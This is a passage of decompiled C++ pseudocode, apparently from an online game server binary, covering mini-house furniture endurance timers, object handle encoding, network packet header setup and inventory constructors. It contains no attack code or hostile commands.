signed int v2; // ebp@1 int v3; // edx@1 int v4; // edx@3 unsigned __int16 v5; // ax@3 int v6; // esi@3 signed int v7; // edi@5 int v8; // eax@6 ItemBag *v9; // ecx@6 int v10; // eax@7 int v11; // eax@11 int v12; // ebp@12 __int16 v13; // si@13 int v14; // edi@13 signed int v15; // eax@14 CIDEB_Element *v16; // esi@23 ShineDateTime *v17; // eax@25 MiniHouseEndure *v18; // eax@28 unsigned __int16 v19; // di@28 MiniHouseEndure *v20; // eax@28 unsigned __int16 v21; // ax@28 unsigned int v22; // eax@29 char *v23; // [sp-Ch] [bp-54h]@4 ChargedItemEffectFinger finger; // [sp+8h] [bp-40h]@14 int nEndureGrade; // [sp+Ch] [bp-3Ch]@25 int i; // [sp+10h] [bp-38h]@5 int v27; // [sp+14h] [bp-34h]@3 FunctionEntarance _; // [sp+18h] [bp-30h]@1 ItemBoxIterItem ibii; // [sp+1Ch] [bp-2Ch]@6 void *inven[4]; // [sp+2Ch] [bp-1Ch]@3 int v31; // [sp+44h] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate"; v2 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)&v1->gap0[0]; v31 = 0; if ( (unsigned __int8)(*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(v3 + 148))(v1) ) { inven[0] = &v1->smh_Furniture.FurnitureInven; inven[1] = &v1->smh_Furniture.AccessoryInven; inven[2] = &v1->smh_Furniture.TileAllInven; v4 = *(_DWORD *)&v1->gap0[0]; inven[3] = &v1->smh_Furniture.MiniGameInven; v5 = (*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(v4 + 132))(v1); v6 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, v5); v27 = v6; if ( v6 ) { v7 = 0; v1->smh_EndureCheckTime.isEndureCheck = 0; v1->smh_EndureCheckTime.nEndureFurnitureCnt = 0; i = 0; do { v8 = (*(int (__thiscall **)(int))(*(_DWORD *)v6 + 1156))(v6); v9 = (ItemBag *)inven[v7]; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; ibii.baseclass_0.ibi_itembag = v9; if ( v8 ) v10 = ((int (__stdcall *)(int))v9->vfptr->ib_BagSizeInput)(v8); else v10 = ((int (*)(void))v9->vfptr->ib_BagSizeOutput)(); ibii.baseclass_0.ibi_Limit = v10; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterItem::_vftable_; LOBYTE(v31) = 1; ibii.baseclass_0.ibi_finger = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&ibii) || ItemBoxIterator::ibi_Next(&ibii.baseclass_0) ) { do { v11 = ((int (__stdcall *)(int))ibii.baseclass_0.ibi_itembag->vfptr->ib_GetInventoryCell)(ibii.baseclass_0.ibi_finger); if ( v11 ) { v12 = *(_DWORD *)(v11 + 112); if ( v12 ) { v13 = *(_WORD *)(v11 + 8); v14 = v11 + 8; if ( v13 != -1 ) { MoveManager::MoveManager((DiceTaiSai *)&finger); LOBYTE(v31) = 2; v15 = -1; while ( v15 >= -1 ) { ++v15; finger.cief_Finger = v15; if ( v15 >= minihousefurnituredatabox.cideb_Total ) break; if ( minihousefurnituredatabox.cideb_Array[v15].ce_ItemID == v13 ) goto LABEL_20; } finger.cief_Finger = -10; LABEL_20: if ( ChargedItemEffectFinger::cief_GetFinger((ORErrorMessage *)&finger) != minihousefurnituredatabox.baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) { if ( finger.cief_Finger >= 0 ) { if ( finger.cief_Finger < minihousefurnituredatabox.cideb_Total ) { v16 = &minihousefurnituredatabox.cideb_Array[finger.cief_Finger]; if ( v16 ) { if ( v16->ce_Data ) { v17 = (ShineDateTime *)(*(int (__thiscall **)(int, int))(*(_DWORD *)v12 + 120))(v12, v14); if ( MiniHouseEndureDataBox::mhe_CalEndureGrade( &minihouseenduredatabox, v16->ce_Data->KeepTime_Endure, v17, (MHE_STEP *)&nEndureGrade) ) { if ( nEndureGrade >= 1 ) { if ( nEndureGrade < 4 ) { v18 = MiniHouseEndureDataBox::operator__( &minihouseenduredatabox, v16->ce_Data->KeepTime_Endure); v19 = *(&v18->Handle + nEndureGrade); v20 = MiniHouseEndureDataBox::operator__( &minihouseenduredatabox, v16->ce_Data->KeepTime_Endure); v21 = v20->Endure[nEndureGrade]; if ( v19 ) { v22 = 36000 * (v19 - v21) + clockwatch.cw_CurrTick + 10; if ( v1->smh_EndureCheckTime.tEndureCheckTime > v22 ) { v1->smh_EndureCheckTime.tEndureCheckTime = v22; v1->smh_EndureCheckTime.isEndureCheck = 1; } } } } } } } } } } LOBYTE(v31) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&finger); } } } } while ( ItemBoxIterator::ibi_Next(&ibii.baseclass_0) ); v7 = i; v6 = v27; v2 = -1; } ++v7; LOBYTE(v31) = 0; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; i = v7; } while ( v7 < 4 ); v23 = "ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate"; } else { v23 = "ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate"; } --funcallanalizer.fca_stackpoint; v31 = v2; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v23); } else { --funcallanalizer.fca_stackpoint; v31 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate"); } } // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 5A87E4: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (004F3E30) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DoingEndureGradeDown(ShineObjectClass::ShineMiniHouse *this, char *bIsPlaced) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 signed int v3; // ebp@1 int v4; // edx@1 char result; // al@2 int v6; // edx@3 unsigned __int16 v7; // ax@3 int v8; // ebx@3 signed int v9; // edi@5 int v10; // eax@6 ItemBag *v11; // ecx@6 int v12; // eax@7 int v13; // eax@11 int v14; // ebp@11 int v15; // eax@12 __int16 v16; // di@13 signed int v17; // eax@14 CIDEB_Element *v18; // edi@24 int v19; // ebx@26 ShineDateTime *v20; // eax@26 ChargedItemEffectFinger finger; // [sp+10h] [bp-44h]@14 void *pFurniture_iac; // [sp+14h] [bp-40h]@12 int nNextEndureGrade; // [sp+18h] [bp-3Ch]@26 int i; // [sp+1Ch] [bp-38h]@5 int v25; // [sp+20h] [bp-34h]@3 FunctionEntarance _; // [sp+24h] [bp-30h]@1 ItemBoxIterItem ibii; // [sp+28h] [bp-2Ch]@6 void *inven[4]; // [sp+38h] [bp-1Ch]@3 int v29; // [sp+50h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate"; v3 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)&v2->gap0[0]; v29 = 0; if ( (unsigned __int8)(*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(v4 + 148))(v2) ) { inven[0] = &v2->smh_Furniture.FurnitureInven; inven[1] = &v2->smh_Furniture.AccessoryInven; inven[2] = &v2->smh_Furniture.TileAllInven; v6 = *(_DWORD *)&v2->gap0[0]; inven[3] = &v2->smh_Furniture.MiniGameInven; v7 = (*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(v6 + 132))(v2); v8 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, v7); v25 = v8; if ( v8 ) { v9 = 0; v2->smh_EndureCheckTime.isEndureCheck = 0; v2->smh_EndureCheckTime.nEndureFurnitureCnt = 0; i = 0; do { v10 = (*(int (__thiscall **)(int))(*(_DWORD *)v8 + 1156))(v8); v11 = (ItemBag *)inven[v9]; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; ibii.baseclass_0.ibi_itembag = v11; if ( v10 ) v12 = ((int (__stdcall *)(int))v11->vfptr->ib_BagSizeInput)(v10); else v12 = ((int (*)(void))v11->vfptr->ib_BagSizeOutput)(); ibii.baseclass_0.ibi_Limit = v12; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterItem::_vftable_; LOBYTE(v29) = 1; ibii.baseclass_0.ibi_finger = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&ibii) || ItemBoxIterator::ibi_Next(&ibii.baseclass_0) ) { do { v13 = ((int (__stdcall *)(int))ibii.baseclass_0.ibi_itembag->vfptr->ib_GetInventoryCell)(ibii.baseclass_0.ibi_finger); v14 = v13; if ( v13 ) { v15 = *(_DWORD *)(v13 + 112); pFurniture_iac = *(void **)(v14 + 112); if ( v15 ) { v16 = *(_WORD *)(v14 + 8); if ( v16 != -1 ) { MoveManager::MoveManager((DiceTaiSai *)&finger); LOBYTE(v29) = 2; v17 = -1; while ( v17 >= -1 ) { ++v17; finger.cief_Finger = v17; if ( v17 >= minihousefurnituredatabox.cideb_Total ) break; if ( minihousefurnituredatabox.cideb_Array[v17].ce_ItemID == v16 ) goto LABEL_20; } finger.cief_Finger = -10; LABEL_20: if ( ChargedItemEffectFinger::cief_GetFinger((ORErrorMessage *)&finger) == minihousefurnituredatabox.baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) { LOBYTE(v29) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&finger); } else { if ( finger.cief_Finger >= 0 ) { if ( finger.cief_Finger < minihousefurnituredatabox.cideb_Total ) { v18 = &minihousefurnituredatabox.cideb_Array[finger.cief_Finger]; if ( v18 ) { if ( v18->ce_Data ) { v19 = *(_BYTE *)(v14 + 37); v20 = (ShineDateTime *)(*(int (__stdcall **)(int))(*(_DWORD *)pFurniture_iac + 120))(v14 + 8); if ( MiniHouseEndureDataBox::mhe_CalEndureGrade( &minihouseenduredatabox, v18->ce_Data->KeepTime_Endure, v20, (MHE_STEP *)&nNextEndureGrade) ) { if ( v19 != nNextEndureGrade ) { (*(void (__stdcall **)(int, int))(*(_DWORD *)pFurniture_iac + 132))( v14, nNextEndureGrade); if ( *(_BYTE *)(v14 + 10) & 1 ) { v2->smh_EndureCheckTime.EndureFurniture[v2->smh_EndureCheckTime.nEndureFurnitureCnt].isRePair = 0; v2->smh_EndureCheckTime.EndureFurniture[v2->smh_EndureCheckTime.nEndureFurnitureCnt].nEndureGrade = nNextEndureGrade; v2->smh_EndureCheckTime.EndureFurniture[v2->smh_EndureCheckTime.nEndureFurnitureCnt++].nFurnitureHnd = *(_WORD *)(v14 + 11); *bIsPlaced = 1; } } } } } } } LOBYTE(v29) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&finger); v8 = v25; } } } } } while ( ItemBoxIterator::ibi_Next(&ibii.baseclass_0) ); v9 = i; v3 = -1; } ++v9; LOBYTE(v29) = 0; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; i = v9; } while ( v9 < 4 ); --funcallanalizer.fca_stackpoint; v29 = v3; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate"); result = 1; } else { --funcallanalizer.fca_stackpoint; v29 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate"); result = 0; } } else { --funcallanalizer.fca_stackpoint; v29 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate"); result = 0; } return result; } // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 5A87E4: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (004F4190) -------------------------------------------------------- #error "4F4190: undefined or illegal type '#325' (funcsize=175)" //----- (004F43B0) -------------------------------------------------------- #error "4F43B0: undefined or illegal type '#434' (funcsize=361)" //----- (004F4940) -------------------------------------------------------- void __thiscall NameString::NameString(NameString *this) { this->ns_point.mask = 127; this->ns_point.value = 0; } //----- (004F4960) -------------------------------------------------------- void __thiscall MobTargetAggresiveALL::_MobTargetAggresiveALL(MobTargetAggresiveALL *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetAggresiveALL::_vftable_; MobTargetAggresive::_MobTargetAggresive(&this->baseclass_0); } // 5CC120: using guessed type int (__thiscall *MobTargetAggresiveALL___vftable_)(MobTargetAggresive *this, #325 *, #325 *, int distancesquar); //----- (004F4970) -------------------------------------------------------- void *__thiscall MobTargetAggresiveALL::_scalar_deleting_destructor_(MobTargetAggresiveALL *this, unsigned int a2) { void *v2; // esi@1 v2 = this; MobTargetAggresiveALL::_MobTargetAggresiveALL(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004F4990) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetMobHandle(ShineObjectHandleUnion *this, unsigned __int16 handle) { unsigned __int16 result; // ax@1 result = 4 * handle; this->sohu_Handle = 4 * handle; return result; } //----- (004F49A0) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetPlayerHandle(ShineObjectHandleUnion *this, unsigned __int16 handle) { int v2; // eax@1 v2 = 8 * handle | 2; this->sohu_Handle = v2; return v2; } //----- (004F49B0) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetMiniHouseHandle(ShineObjectHandleUnion *this, unsigned __int16 handle) { int v2; // eax@1 v2 = 8 * handle | 6; this->sohu_Handle = v2; return v2; } //----- (004F49C0) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetDropItemHandle(ShineObjectHandleUnion *this, unsigned __int16 handle) { int v2; // eax@1 v2 = 8 * handle | 1; this->sohu_Handle = v2; return v2; } //----- (004F49D0) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetAxialHandle(ShineObjectHandleUnion *this, unsigned __int16 handle) { int v2; // eax@1 v2 = 16 * handle | 5; this->sohu_Handle = v2; return v2; } //----- (004F49E0) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetBanditHandle(ShineObjectHandleUnion *this, unsigned __int16 handle) { int v2; // eax@1 v2 = 16 * handle | 0xB; this->sohu_Handle = v2; return v2; } //----- (004F49F0) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetNPCHandle(ShineObjectHandleUnion *this, unsigned __int16 handle) { int v2; // eax@1 v2 = 16 * handle | 0xD; this->sohu_Handle = v2; return v2; } //----- (004F4A00) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetEffectHandle(ShineObjectHandleUnion *this, unsigned __int16 handle) { int v2; // eax@1 v2 = 32 * handle | 3; this->sohu_Handle = v2; return v2; } //----- (004F4A10) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetMagicFieldHandle(ShineObjectHandleUnion *this, unsigned __int16 handle) { int v2; // eax@1 v2 = 32 * handle | 7; this->sohu_Handle = v2; return v2; } //----- (004F4A20) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetDoorHandle(ShineObjectHandleUnion *this, unsigned __int16 handle) { int v2; // eax@1 v2 = 32 * handle | 0xF; this->sohu_Handle = v2; return v2; } //----- (004F4A30) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetServantHandle(ShineObjectHandleUnion *this, unsigned __int16 handle) { int v2; // eax@1 v2 = 32 * handle | 0x13; this->sohu_Handle = v2; return v2; } //----- (004F4A40) -------------------------------------------------------- void __thiscall PacketContainer::pcb_Clear(PacketContainer *this) { this->pc_Pointer = 0; } //----- (004F4A50) -------------------------------------------------------- void __thiscall BriefInformationCharacter::BriefInformationCharacter(BriefInformationCharacter *this) { BriefInformationCharacter *v1; // esi@1 char *v2; // eax@1 v1 = this; this->bic_pack.pp_PacketLength = 0; this->bic_pack.pp_Buffer = this->bic_array; this->bic_pack.pp_BufferSize = 150; ProtocolPacket::pp_SetPacketLen(&this->bic_pack, 149); v2 = v1->bic_pack.pp_Buffer; v1->bic_nc = (NETCOMMAND *)v1->bic_pack.pp_Buffer; v1->bic_BriefInfo = (PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *)(v2 + 2); *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bic_nc->protocol = v1->bic_nc->protocol & 0xFC06 | 6; v1->bic_BriefInfo->type = 2; v1->bic_BriefInfo->myguild = 0; v1->bic_BriefInfo->isGuildAcademyMember = 0; } //----- (004F4AE0) -------------------------------------------------------- void __thiscall BriefInformationMob::BriefInformationMob(BriefInformationMob *this) { BriefInformationMob *v1; // esi@1 char *v2; // eax@1 v1 = this; this->bim_pack.pp_PacketLength = 0; this->bim_pack.pp_Buffer = this->bim_array; this->bim_pack.pp_BufferSize = 70; ProtocolPacket::pp_SetPacketLen(&this->bim_pack, 69); v2 = v1->bim_pack.pp_Buffer; v1->bim_nc = (NETCOMMAND *)v1->bim_pack.pp_Buffer; v1->bim_BriefInfo = (PROTO_NC_BRIEFINFO_REGENMOB_CMD *)(v2 + 2); *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bim_nc->protocol = v1->bim_nc->protocol & 0xFC08 | 8; } //----- (004F4B40) -------------------------------------------------------- void __thiscall BriefInformationMiniHouse::BriefInformationMiniHouse(BriefInformationMiniHouse *this) { BriefInformationMiniHouse *v1; // esi@1 char *v2; // eax@1 v1 = this; this->bimh_pack.pp_PacketLength = 0; this->bimh_pack.pp_Buffer = this->bimh_array; this->bimh_pack.pp_BufferSize = 63; ProtocolPacket::pp_SetPacketLen(&this->bimh_pack, 62); v2 = v1->bimh_pack.pp_Buffer; v1->bimh_nc = (NETCOMMAND *)v1->bimh_pack.pp_Buffer; v1->bimh_BriefInfo = (PROTO_NC_BRIEFINFO_MINIHOUSEBUILD_CMD *)(v2 + 2); *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bimh_nc->protocol = v1->bimh_nc->protocol & 0xFC13 | 0x13; } //----- (004F4BA0) -------------------------------------------------------- void __thiscall BriefInformationEffect::BriefInformationEffect(BriefInformationEffect *this) { BriefInformationEffect *v1; // esi@1 char *v2; // eax@1 v1 = this; this->bie_Pack.pp_PacketLength = 0; this->bie_Pack.pp_Buffer = this->bie_Array; this->bie_Pack.pp_BufferSize = 50; ProtocolPacket::pp_SetPacketLen(&this->bie_Pack, 49); v2 = v1->bie_Pack.pp_Buffer; v1->bie_nc = (NETCOMMAND *)v1->bie_Pack.pp_Buffer; v1->bie_BriefInfo = (PROTO_NC_BRIEFINFO_EFFECTBLAST_CMD *)(v2 + 2); *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bie_nc->protocol = v1->bie_nc->protocol & 0xFC11 | 0x11; v1->bie_BriefInfo->scale = 1000; } //----- (004F4C00) -------------------------------------------------------- void __thiscall BriefInformationDoor::BriefInformationDoor(BriefInformationDoor *this) { BriefInformationDoor *v1; // esi@1 char *v2; // eax@1 v1 = this; this->bid_pack.pp_PacketLength = 0; this->bid_pack.pp_Buffer = this->bid_array; this->bid_pack.pp_BufferSize = 51; ProtocolPacket::pp_SetPacketLen(&this->bid_pack, 50); v2 = v1->bid_pack.pp_Buffer; v1->bid_nc = (NETCOMMAND *)v1->bid_pack.pp_Buffer; v1->bid_BriefInfo = (PROTO_NC_BRIEFINFO_BUILDDOOR_CMD *)(v2 + 2); *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bid_nc->protocol = v1->bid_nc->protocol & 0xFC0F | 0xF; v1->bid_BriefInfo->scale = 1000; } //----- (004F4C60) -------------------------------------------------------- void __thiscall BriefInformationDropItem::BriefInformationDropItem(BriefInformationDropItem *this) { BriefInformationDropItem *v1; // esi@1 char *v2; // eax@1 v1 = this; this->bidi_Pack.pp_PacketLength = 0; this->bidi_Pack.pp_Buffer = this->bidi_Array; this->bidi_Pack.pp_BufferSize = 18; ProtocolPacket::pp_SetPacketLen(&this->bidi_Pack, 17); v2 = v1->bidi_Pack.pp_Buffer; v1->bidi_nc = (NETCOMMAND *)v1->bidi_Pack.pp_Buffer; v1->bidi_BriefInfo = (PROTO_NC_BRIEFINFO_DROPEDITEM_CMD *)(v2 + 2); *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bidi_nc->protocol = v1->bidi_nc->protocol & 0xFC0A | 0xA; } //----- (004F4CC0) -------------------------------------------------------- void __thiscall BriefInformationMagicField::BriefInformationMagicField(BriefInformationMagicField *this) { BriefInformationMagicField *v1; // esi@1 char *v2; // eax@1 v1 = this; this->bimfm_Pack.pp_PacketLength = 0; this->bimfm_Pack.pp_Buffer = this->bimfm_Array; this->bimfm_Pack.pp_BufferSize = 19; ProtocolPacket::pp_SetPacketLen(&this->bimfm_Pack, 18); v2 = v1->bimfm_Pack.pp_Buffer; v1->bimfm_nc = (NETCOMMAND *)v1->bimfm_Pack.pp_Buffer; v1->bimfm_BriefInfo = (PROTO_NC_BRIEFINFO_MAGICFIELDSPREAD_CMD *)(v2 + 2); *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bimfm_nc->protocol = v1->bimfm_nc->protocol & 0xFC0C | 0xC; } //----- (004F4D20) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_Setpartyslot(int this, int ps) { int result; // eax@1 result = ps; *(_DWORD *)(this + 88932) = ps; return result; } //----- (004F4D30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_UnlockRefundReq(int this) { *(_BYTE *)(this + 23281) &= 0xF7u; } //----- (004F4D40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_UnlockRefundCancelReq(int this) { *(_BYTE *)(this + 23281) &= 0xEFu; } //----- (004F4D50) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SetPossibleNewConnect(int this, char isPossibleNewConnect) { char result; // al@1 result = isPossibleNewConnect; *(_BYTE *)(this + 92284) = isPossibleNewConnect; return result; } //----- (004F4D60) -------------------------------------------------------- void __thiscall CharacterInventory::CharacterInventory(CharacterInventory *this) { CharacterInventory *v1; // esi@1 v1 = this; ItemEquipment::ItemEquipment(&this->ci_Equipment); ItemInventory::ItemInventory(&v1->ci_Inventory); ItemQuestItemBox::ItemQuestItemBox(&v1->ci_QuestBox); ItemMiniHouseBox::ItemMiniHouseBox(&v1->ci_MiniHouse); ItemActionItemBox::ItemActionItemBox(&v1->ci_ActionBox); } //----- (004F4DE0) -------------------------------------------------------- void __thiscall CharacterInventory::_CharacterInventory(CharacterInventory *this) { CharacterInventory *v1; // esi@1 v1 = this; ItemActionItemBox::_ItemActionItemBox(&this->ci_ActionBox); ItemMiniHouseBox::_ItemMiniHouseBox(&v1->ci_MiniHouse); ItemQuestItemBox::_ItemQuestItemBox(&v1->ci_QuestBox); ItemInventory::_ItemInventory(&v1->ci_Inventory); ItemEquipment::_ItemEquipment(&v1->ci_Equipment); } //----- (004F4E60) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineObject::so_Initstaticvar() { int result; // eax@1 ShineObjectClass::ShineObject::so_defstopmotion.emoticonid = -1; ShineObjectClass::ShineObject::so_defstopmotion.emoticonframe = -1; memset(&BriefInformationMob::bim_DefStateBit, 0, 0x34u); ItemBag::ib_InitStateCell(); word_124D2546 = 1000; word_124D2548 = 1000; word_124D2552 = 1000; word_124D2554 = 1000; word_124D255A = 1000; word_124D255E = 1000; word_124D2560 = 1000; word_124D2562 = 1000; word_124D2564 = 1000; word_124D2566 = 1000; ShineObjectClass::ShineObject::so_ChargedEffectContainerClear.cec_SilverWingCoolTime_Minute = 60; byte_124D254A = 0; byte_124D254E = 0; byte_124D254F = 0; byte_124D2550 = 0; byte_124D2551 = 0; word_124D2556 = 1024; word_124D2558 = 1024; byte_124D255C = 0; byte_124D255D = 0; ShineObjectClass::ShineObject::so_WeddingData.header.clienthandle = -1; ShineObjectClass::ShineObject::so_WeddingData.header.charregistnumber = -1; ShineObjectClass::ShineObject::so_WeddingData.Status._bf0 = 0; ShineObjectClass::ShineObject::so_WeddingData.When._bf0 = ShineObjectClass::ShineObject::so_WeddingData.___u4.SubWhen._bf0; *(_DWORD *)&ShineObjectClass::ShineObject::so_WeddingData.gap12[11] = 0; *(_DWORD *)&ShineObjectClass::ShineObject::so_WeddingData.gap12[7] = 0; *(_DWORD *)&ShineObjectClass::ShineObject::so_WeddingData.gap12[3] = 0; *(_DWORD *)&ShineObjectClass::ShineObject::so_WeddingData.Partner._bf0 = 0; strncpy(&ShineObjectClass::ShineObject::so_WeddingData.Partner._bf0, byte_5A62A6, 0x10u); *(_DWORD *)&ShineObjectClass::ShineObject::so_WeddingData.gap12[15] = -1; ShineObjectClass::ShineObject::so_WeddingData.WeddingCount = 0; ShineObjectClass::ShineObject::so_WeddingData.RefusalCount = 0; result = MiscDataTable::MiscData_Skill::mds_Init((int)&ShineObjectClass::ShineObject::so_MiscTableDef, -1); *(_DWORD *)&ShineObjectClass::ShineObject::so_CostumWeaponChargeing.iti_registnum.binary.gap0[0] = -1; dword_124D245C = -1; return result; } // 124D2458: using guessed type struct ItemTotalInformation ShineObjectClass__ShineObject__so_CostumWeaponChargeing; // 124D245C: using guessed type int dword_124D245C; // 124D2540: using guessed type struct STOPEMOTICON_DESCRIPT ShineObjectClass__ShineObject__so_defstopmotion; // 124D2544: using guessed type struct ChargedEffectContainer ShineObjectClass__ShineObject__so_ChargedEffectContainerClear; // 124D2546: using guessed type __int16 word_124D2546; // 124D2548: using guessed type __int16 word_124D2548; // 124D254A: using guessed type char byte_124D254A; // 124D254E: using guessed type char byte_124D254E; // 124D254F: using guessed type char byte_124D254F; // 124D2550: using guessed type char byte_124D2550; // 124D2551: using guessed type char byte_124D2551; // 124D2552: using guessed type __int16 word_124D2552; // 124D2554: using guessed type __int16 word_124D2554; // 124D2556: using guessed type __int16 word_124D2556; // 124D2558: using guessed type __int16 word_124D2558; // 124D255A: using guessed type __int16 word_124D255A; // 124D255C: using guessed type char byte_124D255C; // 124D255D: using guessed type char byte_124D255D; // 124D255E: using guessed type __int16 word_124D255E; // 124D2560: using guessed type __int16 word_124D2560; // 124D2562: using guessed type __int16 word_124D2562; // 124D2564: using guessed type __int16 word_124D2564; // 124D2566: using guessed type __int16 word_124D2566; //----- (004F4F90) -------------------------------------------------------- #error "4F4F90: undefined or illegal type '#325' (funcsize=25)" //----- (004F4FF0) -------------------------------------------------------- #error "4F4FF0: undefined or illegal type '#325' (funcsize=26)" //----- (004F5060) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::_ShineObject(int this) { int v1; // esi@1 v1 = this; *(_DWORD *)this = ShineObjectClass::ShineObject::_vftable_; ShineObjectClass::ShineObject::__unnamed::___unnamed((SlantedCoordList::ObjectYCoordNode *)(this + 6)); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 4)); } // 5CC168: using guessed type int (*ShineObjectClass__ShineObject___vftable_[4])(); //----- (004F50C0) -------------------------------------------------------- ShineRTTI *__cdecl ShineObjectClass::ShineObject::GetRTTI() { return &ShineObjectClass::ShineObject::m_RTTI; } //----- (004F50D0) -------------------------------------------------------- CharacterInventory *__cdecl ShineObjectClass::ShineObject::so_ItemInventory() { return &ShineObjectClass::ShineObject::so_defiteminven; } //----- (004F50E0) -------------------------------------------------------- _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_TradeStructure() { return &ShineObjectClass::ShineObject::so_deftradestr; } //----- (004F50F0) -------------------------------------------------------- AllOfRangeArgument *__cdecl ShineObjectClass::ShineObject::so_TradeBoard() { return &ShineObjectClass::ShineObject::so_deftradebrd; } //----- (004F5100) -------------------------------------------------------- CharClassManager *__cdecl ShineObjectClass::ShineObject::so_CharacterClass() { return &charclassmanager; } //----- (004F5110) -------------------------------------------------------- SpyNet::EspionageAgent *__cdecl ShineObjectClass::ShineObject::so_SpyAgent() { return &ShineObjectClass::ShineObject::so_spy; } //----- (004F5120) -------------------------------------------------------- _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_mobile_AbstateList() { return &ShineObjectClass::ShineObject::so_defabstatelist; } //----- (004F5130) -------------------------------------------------------- signed int __cdecl ShineObjectClass::ShineObject::so_ply_SilverWingCoolTime() { return 3600000; } //----- 